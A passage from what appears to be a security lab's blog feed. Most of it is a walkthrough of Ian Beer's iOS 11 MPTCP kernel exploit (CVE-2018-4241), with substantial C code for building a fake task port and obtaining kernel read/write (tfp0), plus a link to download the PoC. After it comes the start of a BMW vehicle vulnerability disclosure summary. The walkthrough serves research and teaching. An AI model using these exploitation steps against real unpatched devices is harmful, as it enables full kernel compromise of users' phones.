src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-11at6-8b337252-8801-4c79-a571-86b83d0769d4.22.03PM.png"></p><h1 id="Catching-the-port"><a href="#Catching-the-port" class="headerlink" title="Catching the port"></a>Catching the port</h1><p>Now, we need to figure out which port owns the preallocated <code>ipc_kmsg</code> buffer. To do that, we need to somehow persuade the kernel into overwriting <code>prealloced kmsg</code> with something different so that we can compare the content again and spot the difference.</p><p>Ian Beer’s technique in the PoC is to register each port as an exception port for a thread and intentionally raise an exception on the thread, causing the kernel to send a <code>kmsg</code> to the buffer, then immediately compares the content by reading from the pipe. This is ingenious.</p><pre><code>for (int i = 0; i &lt; 100; i++) &#123;    send_prealloc_msg(exception_ports[i]);    // read from the pipe and see if the contents changed:</code></pre><p>Let’s walk through <code>send_prealloc_msg()</code> step by step.</p><h2 id="1-Start-a-thread"><a href="#1-Start-a-thread" class="headerlink" title="1. Start a thread"></a>1. Start a thread</h2><pre><code>pthread_create(&amp;t, NULL, do_thread, (void*)port);</code></pre><h2 id="2-Register-exception-port"><a href="#2-Register-exception-port" class="headerlink" title="2. Register exception port"></a>2. Register exception port</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span>* <span class="title function_">do_thread</span><span class="params">(<span class="type">void</span>* arg)</span> &#123;</span><br><span class="line">  <span class="type">mach_port_t</span> exception_port = (<span class="type">mach_port_t</span>)arg;</span><br><span class="line">  </span><br><span class="line">  <span class="type">kern_return_t</span> err;</span><br><span class="line">  err = thread_set_exception_ports(</span><br><span class="line">                                   mach_thread_self(),</span><br><span class="line">                                   EXC_MASK_ALL,</span><br><span class="line">                                   exception_port,</span><br><span class="line">                                   EXCEPTION_STATE_IDENTITY, <span class="comment">// catch_exception_raise_state_identity messages</span></span><br><span class="line">                                   ARM_THREAD_STATE64);</span><br></pre></td></tr></table></figure><h2 id="3-Substitute-thread-port-with-a-host-port"><a href="#3-Substitute-thread-port-with-a-host-port" class="headerlink" title="3. Substitute thread port with a host port"></a>3. Substitute thread port with a host port</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// make the thread port which gets sent in the message actually be the host port</span></span><br><span class="line">  err = thread_set_special_port(mach_thread_self(), THREAD_KERNEL_PORT, mach_host_self());</span><br></pre></td></tr></table></figure><h2 id="4-Crash-the-thread"><a href="#4-Crash-the-thread" class="headerlink" title="4. Crash the thread"></a>4. Crash the thread</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// cause an exception message to be sent by the kernel</span></span><br><span class="line">  <span class="keyword">volatile</span> <span class="type">char</span>* bAAAAd_ptr = (<span class="keyword">volatile</span> <span class="type">char</span>*)<span class="number">0x41414141</span>;</span><br><span class="line">  *bAAAAd_ptr = <span class="string">&#x27;A&#x27;</span>;</span><br><span class="line"><span class="comment">// Now the thread is crashed </span></span><br></pre></td></tr></table></figure><p>After the thread crashes, a message containing the exception information is sent to our <code>ipc_kmsg</code> buffer, waiting to be received and processed by the port. We can now read from the pipe and compare the content.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ssize_t</span> amount = read(replacer_pipe, new_contents, PIPE_SIZE);</span><br><span class="line">    <span class="keyword">if</span> (amount != PIPE_SIZE) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;short read (%ld)\n&quot;</span>, amount);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">memcmp</span>(original_contents, new_contents, PIPE_SIZE) == <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="comment">// they are still the same, this isn&#x27;t the correct port:</span></span><br><span class="line">      ...</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="comment">// different! we found the right exception port which has its prealloced port overlapping</span></span><br><span class="line">      replacer_port = exception_ports[i];</span><br><span class="line"></span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>At this point, we have fully discovered the overlapping pipe, port pair.</p><p>We also need to save the kernel address for the host port and our task port for later:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// We will get kernel ipc_space address from this later</span></span><br><span class="line"><span class="type">uint64_t</span> host_port_kaddr = *((<span class="type">uint64_t</span>*)(new_contents + <span class="number">0x66c</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// Need this for cleaning up mach port table</span></span><br><span class="line"><span class="type">uint64_t</span> task_port_kaddr = *((<span class="type">uint64_t</span>*)(new_contents + <span class="number">0x67c</span>));</span><br></pre></td></tr></table></figure><h1 id="Build-fake-task-port"><a href="#Build-fake-task-port" class="headerlink" title="Build fake task port"></a>Build fake task port</h1><p>Before we receive the exception message into user space, we want to build a fake task port to allow early kernel arbitray read. </p><pre><code>build_fake_task_port(original_contents+fake_port_offset, fake_port_kaddr, early_read_pipe_buffer_kaddr, 0, 0);</code></pre><p>We can do this by mimicking the structure of a proper task port:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> IO_BITS_ACTIVE 0x80000000</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IKOT_TASK 2</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> IKOT_NONE 0</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">build_fake_task_port</span><span class="params">(<span class="type">uint8_t</span>* fake_port, <span class="type">uint64_t</span> fake_port_kaddr, <span class="type">uint64_t</span> initial_read_addr, <span class="type">uint64_t</span> vm_map, <span class="type">uint64_t</span> receiver)</span> &#123;</span><br><span class="line">  <span class="comment">// clear the region we&#x27;ll use:</span></span><br><span class="line">  <span class="built_in">memset</span>(fake_port, <span class="number">0</span>, <span class="number">0x500</span>);</span><br><span class="line">  </span><br><span class="line">  *(<span class="type">uint32_t</span>*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;</span><br><span class="line">  *(<span class="type">uint32_t</span>*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = <span class="number">0xf00d</span>; <span class="comment">// leak references</span></span><br><span class="line">  *(<span class="type">uint32_t</span>*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = <span class="number">0xf00d</span>; <span class="comment">// leak srights</span></span><br><span class="line">  *(<span class="type">uint64_t</span>*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;</span><br><span class="line">  *(<span class="type">uint64_t</span>*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = <span class="number">0x123456789abcdef</span>;</span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">  <span class="type">uint64_t</span> fake_task_kaddr = fake_port_kaddr + <span class="number">0x100</span>;</span><br><span class="line">  *(<span class="type">uint64_t</span>*)(fake_port+koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_kaddr;</span><br><span class="line">  </span><br><span class="line">  ...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>and shoving it into our <code>ipc_kmsg</code> buffer with our <code>replacer_pipe</code>.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// the thread port is at +66ch</span></span><br><span class="line">  <span class="comment">// we could parse the kmsg properly, but this&#x27;ll do...</span></span><br><span class="line">  <span class="comment">// replace the thread port pointer with one to our fake port:</span></span><br><span class="line">  *((<span class="type">uint64_t</span>*)(original_contents+<span class="number">0x66c</span>)) = fake_port_kaddr;</span><br><span class="line">  </span><br><span class="line">  <span class="comment">// replace the ipc_kmsg:</span></span><br><span class="line">  write(pipe_write_end, original_contents, PIPE_SIZE);</span><br></pre></td></tr></table></figure><p>We can read off the kernel address of our buffer from the <code>next</code> field, which points back to the buffer itself given it is the only <code>ipc_kmsg</code> in the queue.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint64_t</span> pipe_buf = *((<span class="type">uint64_t</span>*)(new_contents + <span class="number">0x8</span>)); </span><br></pre></td></tr></table></figure><p>Let’s zoom into our <code>ipc_kmsg</code> buffer to observe the change.</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-12at5-f6b9fc4c-5035-4719-91d6-3796de3006e0.40.44PM.png"></p><p>Now, the thread_port points to our fake task port! Mission accomplished! </p><p><strong>Note</strong>: Here, in this particular PoC, <code>*thread_port</code> actually points to a host port because in Step 3 of the previous section, we substitute the thread port with host port. By doing this, we have a leaked host port kernel address, which can be used to obtain kernel’s <code>ipc_space</code> later. We will cover this shortly.</p><h1 id="Receive-the-exception-message"><a href="#Receive-the-exception-message" class="headerlink" title="Receive the exception message"></a>Receive the exception message</h1><p>User space programs can receive the exception message by a callout to system exception server, <code>exc_server</code>, after which various port rights in the <code>ipc_kmsg</code> will be inserted into calling task’s <code>ipc_space</code>, including our fake task port’s send right (which is really supposed to be a thread port).</p><p>We can now simply extract the port name to the fake port from the exception handler callback, from the <code>thread</code> argument:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">kern_return_t</span> <span class="title function_">catch_exception_raise_state_identity</span></span><br><span class="line"><span class="params">(</span></span><br><span class="line"><span class="params"> <span class="type">mach_port_t</span> exception_port,</span></span><br><span class="line"><span class="params"> <span class="type">mach_port_t</span> thread,</span></span><br><span class="line"><span class="params"> <span class="type">mach_port_t</span> task,</span></span><br><span class="line"><span class="params"> <span class="type">exception_type_t</span> exception,</span></span><br><span class="line"><span class="params"> <span class="type">exception_data_t</span> code,</span></span><br><span class="line"><span class="params"> <span class="type">mach_msg_type_number_t</span> codeCnt,</span></span><br><span class="line"><span class="params"> <span class="type">int</span> *flavor,</span></span><br><span class="line"><span class="params"> <span class="type">thread_state_t</span> old_state,</span></span><br><span class="line"><span class="params"> <span class="type">mach_msg_type_number_t</span> old_stateCnt,</span></span><br><span class="line"><span class="params"> <span class="type">thread_state_t</span> new_state,</span></span><br><span class="line"><span class="params"> <span class="type">mach_msg_type_number_t</span> *new_stateCnt</span></span><br><span class="line"><span class="params"> )</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;catch_exception_raise_state_identity\n&quot;</span>);</span><br><span class="line">  </span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">  <span class="comment">// the thread port isn&#x27;t actually the thread port</span></span><br><span class="line">  <span class="comment">// we rewrote it via the pipe to be the fake kernel r/w port</span></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;thread: %x\n&quot;</span>, thread);</span><br><span class="line">  extracted_thread_port = thread;</span><br><span class="line">  </span><br><span class="line">  mach_port_deallocate(mach_task_self(), task);</span><br><span class="line">  </span><br><span class="line">  <span class="comment">// make the thread exit cleanly when it resumes:</span></span><br><span class="line">  <span class="built_in">memcpy</span>(new_state, old_state, <span class="keyword">sizeof</span>(_STRUCT_ARM_THREAD_STATE64));</span><br><span class="line">  _STRUCT_ARM_THREAD_STATE64* new = (_STRUCT_ARM_THREAD_STATE64*)(new_state);</span><br><span class="line">  </span><br><span class="line">  *new_stateCnt = old_stateCnt;</span><br><span class="line">  </span><br><span class="line">  new-&gt;__pc = (<span class="type">uint64_t</span>)pthread_exit;</span><br><span class="line">  new-&gt;__x[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  </span><br><span class="line">  <span class="comment">// let the thread resume and exit</span></span><br><span class="line">  <span class="keyword">return</span> KERN_SUCCESS;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>At this point, we have successfully inserted a fake task port into our task’s <code>ipc_space</code>. Isn’t this ingenious? </p><h1 id="Build-early-kernel-read-primitive"><a href="#Build-early-kernel-read-primitive" class="headerlink" title="Build early kernel read primitive"></a>Build early kernel read primitive</h1><p>With the fake task port we can build an early kernel read primitive by using <code>pid_for_task()</code>.</p><p>Given a valid task port, <code>pid_for_task()</code> simply get a <code>task</code> pointer from port’s <code>ip_kobject</code>, deference and retrieve the <code>proc</code> pointer from task’s <code>bsd_info</code> , dereference again the <code>proc</code> struct and get the pid from it. Since all it does is just some pointer arithmetic and dereferencing, we can just create a fake task struct inside the <code>ipc_kmsg</code> we control, work backward and place the kernel address we would like to read at the correct offset.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint8_t</span>* fake_task = fake_port + <span class="number">0x100</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// set the bsd_info pointer to be 0x10 bytes before the desired initial read:</span></span><br><span class="line">*(<span class="type">uint64_t</span>*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)) = initial_read_addr - <span class="number">0x10</span>;</span><br></pre></td></tr></table></figure><p>With every call to <code>early_rk32</code>, we just need to rebuild the task port, fixing the <code>bsd_info</code> pointer address accordingly:</p><p><img src="/en/img/Exploiting-iOS-11-0-11-3-1-Multi-path-TCP-A-walk-through/ScreenShot2018-07-12at5-2206d15a-141d-42f8-837c-8550f78837ad.40.10PM.png"></p><p>Here, unsurprisingly, <code>0x10</code> is just the offset of the <code>p_pid</code> field inside <code>struct proc</code>, as evident in <code>proc_internal.h</code>:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span><span class="title">proc</span> &#123;</span></span><br><span class="line">LIST_ENTRY(proc) p_list;<span class="comment">// Just two pointers, so size 0x10</span></span><br><span class="line"></span><br><span class="line"><span class="type">pid_t</span>p_pid;<span class="comment">// Offset 0x10</span></span><br><span class="line"><span class="type">void</span> * task;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The drawback of this technique is that the read is limited to 32 bits, which is the size of a <code>pid_t</code>.</p><h1 id="Build-full-kernel-read-write-primitive"><a href="#Build-full-kernel-read-write-primitive" class="headerlink" title="Build full kernel read&#x2F;write primitive"></a>Build full kernel read&#x2F;write primitive</h1><p>Notice that the <code>struct ipc_space *receiver</code> field in our fake port and an address space description, <code>vm_map_t map</code>, in our fake task is still missing. We can achieve full kernel read&#x2F;write by filling in the address for <code>ipc_space_kernel</code> and kernel task’s <code>vm_map</code>.</p><p>We can get the kernel <code>ipc_space</code> from the host port we obtained a while ago, with a known offset:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// receiver field</span></span><br><span class="line"><span class="type">uint64_t</span> ipc_space_kernel = early_rk64(host_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));</span><br></pre></td></tr></table></figure><p>However, kernel’s <code>vm_map</code> is a bit trickier to get.</p><p>Ian Beer’s approach takes the following steps:</p><ol><li>Find the kernel task port on the heap</li><li>Get kernel’s task from task port</li><li>Get the <code>vm_map</code> form kernel task</li></ol><p>To find the kernel task port on the heap, we search in the vicinity of the host port for anything that looks like a task port and get the kernel task <code>vm_map</code> from it:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// now look through up to 0x4000 of ports and find one which looks like a task port:</span></span><br><span class="line">  <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; (<span class="number">0x4000</span>/<span class="number">0xa8</span>); i++) &#123;</span><br><span class="line">    <span class="type">uint64_t</span> early_port_kaddr = first_port + (i*<span class="number">0xa8</span>);</span><br><span class="line">    <span class="type">uint32_t</span> io_bits = early_rk32(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS));</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (io_bits != (IO_BITS_ACTIVE | IKOT_TASK)) &#123;</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// get that port&#x27;s kobject:</span></span><br><span class="line">    <span class="type">uint64_t</span> <span class="type">task_t</span> = early_rk64(early_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));</span><br><span class="line">    <span class="keyword">if</span> (<span class="type">task_t</span> == <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;weird heap object with NULL kobject\n&quot;</span>);</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// check the pid via the bsd_info:</span></span><br><span class="line">    <span class="type">uint64_t</span> bsd_info = early_rk64(<span class="type">task_t</span> + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));</span><br><span class="line">    <span class="keyword">if</span> (bsd_info == <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;task doesn&#x27;t have a bsd info\n&quot;</span>);</span><br><span class="line">      <span class="keyword">continue</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">uint32_t</span> pid = early_rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));</span><br><span class="line">    <span class="keyword">if</span> (pid != <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;task isn&#x27;t the kernel task\n&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// found the right task, get the vm_map</span></span><br><span class="line">    kernel_vm_map = early_rk64(<span class="type">task_t</span> + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  </span><br><span class="line">  <span class="keyword">if</span> (kernel_vm_map == <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;unable to find the kernel task map\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;kernel map:%016llx\n&quot;</span>, kernel_vm_map);</span><br></pre></td></tr></table></figure><p>After insert what we just found into our fake port and fake task, we now finally get a fully functional, but “fake”, tfp0. Hooray!</p><p>Have fun now with your freshly baked tfp0!</p><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ol><li><em><a href="https://bugs.chromium.org/p/project-zero/issues/detail?id=1558">XNU kernel heap overflow due to bad bounds checking in MPTCP</a></em>, Ian Beer</li><li><em><a href="https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html">Exception-based exploitation on iOS</a></em>, Ian Beer</li><li><em><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4241">CVE-2018-4241</a>,</em> Common Vulnerabilities and Exposures</li><li><em>Mac OS X Internals - A System Approach</em>, Amit Singh</li><li>*<em>OS Internals: Volume III security &amp; Insecurity</em>, Jonathan Levin</li></ol>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Introduction&quot;&gt;&lt;a href=&quot;#Introduction&quot; class=&quot;headerlink&quot; title=&quot;Introduction&quot;&gt;&lt;/a&gt;Introduction&lt;/h1&gt;&lt;p&gt;The iOS 11 mptcp bug (&lt;strong&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-4241&quot;&gt;CVE-2018-4241&lt;/a&gt;&lt;/strong&gt;) discovered by Ian Beer is a serious kernel vulnerability which involves a buffer overflow in &lt;code&gt;mptcp_usr_connectx&lt;/code&gt; that allows attackers to execute arbitrary code in a privileged context.&lt;/p&gt;
&lt;p&gt;Ian Beer attached an interesting piece of PoC code which demonstrated a rather elegant technique to obtain the kernel task port with this vulnerability. Extending on his brief writeup that comes with the PoC, this blog post will mainly aim at walking through the PoC in great details as well as covering its background. If you are an iOS security researcher who hasn’t looked into the PoC source code yet, hopefully you will find the materials handy when you decide to do so.&lt;/p&gt;
&lt;p&gt;Please have a copy of mptcp PoC code before we dive in! You can download it from here: &lt;a href=&quot;https://bugs.chromium.org/p/project-zero/issues/attachment?aid=342508&amp;signed_aid=6W5QEbpa78zrMM3U1z-CqQ==&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: All credits for exploitation techniques, vulnerability PoC code and original writeup belong to Ian Beer at Google Project Zero.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>New Vehicle Security Research by KeenLab: Experimental Security Assessment of BMW Cars</title>
    <link href="http://keenlab.tencent.com/en/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/"/>
    <id>http://keenlab.tencent.com/en/2018/05/22/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/</id>
    <published>2018-05-22T07:46:12.000Z</published>
    <updated>2025-12-08T11:23:10.850Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/bmw_pwn.png"></p><h2 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h2><p>The research of BMW cars is an ethical hacking research project. In the research, Keen Security Lab performed an in-depth and comprehensive analysis of both hardware and software on in-vehicle infotainment Head Unit, Telematics Control Unit and Central Gateway Module of multiple BMW vehicles. Through mainly focusing on various external attack surfaces, (including GSM network, BMW Remote Service, BMW ConnectedDrive System, Remote Diagnosis, NGTP protocol, Bluetooth protocol, USB and OBD-II interfaces), Keen Security Lab has gained local and remote access to infotainment components, T-Box components and UDS communication above certain speed of selected multiple BMW vehicle modules and been able to gain control of the CAN buses with the execution of arbitrary, unauthorized diagnostic requests of BMW in-car systems remotely.</p><span id="more"></span><h2 id="Vulnerability-Findings"><a href="#Vulnerability-Findings" class="headerlink" title="Vulnerability Findings"></a>Vulnerability Findings</h2><p>After conducting the intensive security analysis of multiple BMW cars’ electronic control units, Keen Security Lab has found 14 vulnerabilities with local and remote access vectors in BMW connected cars. And 7 of these vulnerabilities were assigned CVE (Common Vulnerabilities and Exposures) numbers.<br>All the following vulnerabilities and CVEs have been confirmed by BMW after we submitted the full report and collaborated with them on technical details:<br><img src="/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/Vulnerabilities_and_CVEs_in_Our_Research_Confirmed_by_BMW.jpg" alt="Table: Vulnerabilities and CVEs in Our Research Confirmed by BMW"></p><h2 id="Attack-Chains"><a href="#Attack-Chains" class="headerlink" title="Attack Chains"></a>Attack Chains</h2><p>In our research, we have already found some ways to influence the vehicle via different kinds of attack chains by sending arbitrary diagnostic messages to electronic control units. Since we were able to gain access to the head unit and telematics control unit, these attack chains are aimed to implement an arbitrary diagnostic message transmission through Central Gateway Module in order to impact or control electronic control units on different CAN buses (e.g. PT-CAN, K-CAN, etc..).<br><img src="/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/Local_Attack_Chain.png" alt="Figure: Local Attack Chain"></p><p><img src="/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/Remote_Attack_Chain.png" alt="Figure: Remote Attack Chain"></p><h2 id="Vulnerable-BMW-Models"><a href="#Vulnerable-BMW-Models" class="headerlink" title="Vulnerable BMW Models"></a>Vulnerable BMW Models</h2><p>In our research, the vulnerabilities we found mainly exist in the Head Unit, Telematics Control Unit (TCB), and Central Gateway Module. Based on our research experiments, we can confirm that the vulnerabilities existed in Head Unit would affect several BMW models, including BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, BMW 7 Series. And the vulnerabilities existed in Telematics Control Unit (TCB) would affect the BMW models which equipped with this module produced from year 2012.<br>Table below lists the vulnerable BMW models we’ve tested during our research and each with its firmware versions of the specific components.<br><img src="/en/img/New-CarHacking-Research-by-KeenLab-Experimental-Security-Assessment-of-BMW-Cars/Vulnerable_BMW_models_in_our_test.jpg" alt="Table: Vulnerable BMW models in our test"></p><p>As different BMW car models may be equipped with different components, and even the same component may have different firmware versions during the product lifecycle. So that from our side the scope of the vulnerable car models is hard to be precisely confirmed. Theoretically, BMW models which are equipped with these vulnerable components could be compromised from our perspective if the corrective measures had not already been effectively implemented by BMW.</p><p>BMW confirmed, that the found vulnerabilities are present in the infotainment and T-Box components mentioned above. Updates have already been developed and implemented by BMW (see below).</p><h2 id="Disclosure-Timeline"><a href="#Disclosure-Timeline" class="headerlink" title="Disclosure Timeline"></a>Disclosure Timeline</h2><p>The research to BMW cars is an ethical hacking research project. Keen Lab follows the “Responsible Disclosure” practice, which is a well-recognized practice by global manufactures in software and internet industries, to work with BMW on fixing the vulnerabilities and attack chains listed in this report. </p><p>Below is the detailed disclosure timeline.</p><p><em>January 2017</em>: Keen Lab kicked off the BMW security research project internally.<br><em>February 2018</em>: Keen Lab proved all the vulnerability findings and attack chains in an experimental environment.<br><em>February 25, 2018</em>: Keen Lab reported all the research findings to BMW.<br><em>March 9, 2018</em>: BMW fully confirmed all the vulnerabilities reported by Keen Lab.<br><em>March 22, 2018</em>: BMW provided the planned technical mitigation measures for the vulnerabilities reported by Keen Lab.<br><em>April 5, 2018</em>: CVE numbers related to the vulnerabilities have been reserved. (CVE-2018-9322, CVE-2018-9320, CVE-2018-9312, CVE-2018-9313, CVE-2018-9314, CVE-2018-9311, CVE-2018-9318)<br><em>May 22, 2018</em>: This summary report is released to public.<br><em>Early 2019</em>: Keen Lab will release the full technical paper.<br><font color=#FF0000>BMW informed Keen Security Lab that, for all the attacks via cellular networks BMW has started implementing measures in March 2018. These measures are in rollout since mid of April 2018 and are distributed via configuration updates remotely to the affected vehicles. Additional security enhancements are developed by BMW in form of optional SW updates. These will be available through the BMW dealer network. </font></p><h2 id="Press-Release-from-BMW-Group"><a href="#Press-Release-from-BMW-Group" class="headerlink" title="Press Release from BMW Group"></a>Press Release from BMW Group</h2><p>The BMW Group is convinced that the presented study constitutes the by far most comprehensive and complex testing ever conducted on 